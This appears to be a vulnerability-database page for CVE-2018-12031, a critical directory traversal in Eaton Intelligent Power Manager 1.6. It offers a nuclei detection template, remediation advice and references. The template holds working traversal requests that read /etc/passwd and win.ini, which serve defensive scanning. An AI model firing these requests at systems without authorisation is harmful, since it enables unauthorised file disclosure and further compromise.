HexBrain

Browse / CVEs / CVE-2018-12031

CVE-2018-12031· eaton / intelligent power manager· CWE-22

Eaton Intelligent Power Manager 1.6 - Directory Traversal

criticalseverity
9.8CVSS score
19.5%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.

Fix

Apply the latest security patch or upgrade to a newer version of Eaton Intelligent Power Manager to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd ; GET {{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-12031 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-12031

info:
  name: Eaton Intelligent Power Manager 1.6 - Directory Traversal
  author: daffainfo
  severity: critical
  description: Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially leading to further compromise of the system.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of Eaton Intelligent Power Manager to mitigate this vulnerability.
  reference:
    - https://github.com/EmreOvunc/Eaton-Intelligent-Power-Manager-Local-File-Inclusion
    - https://www.exploit-db.com/exploits/48614
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12031
    - https://github.com/0xT11/CVE-POC
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-12031
    cwe-id: CWE-22
    epss-score: 0.19477
    epss-percentile: 0.97393
    cpe: cpe:2.3:a:eaton:intelligent_power_manager:1.6:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eaton
    product: intelligent_power_manager
  tags: cve,cve2018,edb,lfi,eaton,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from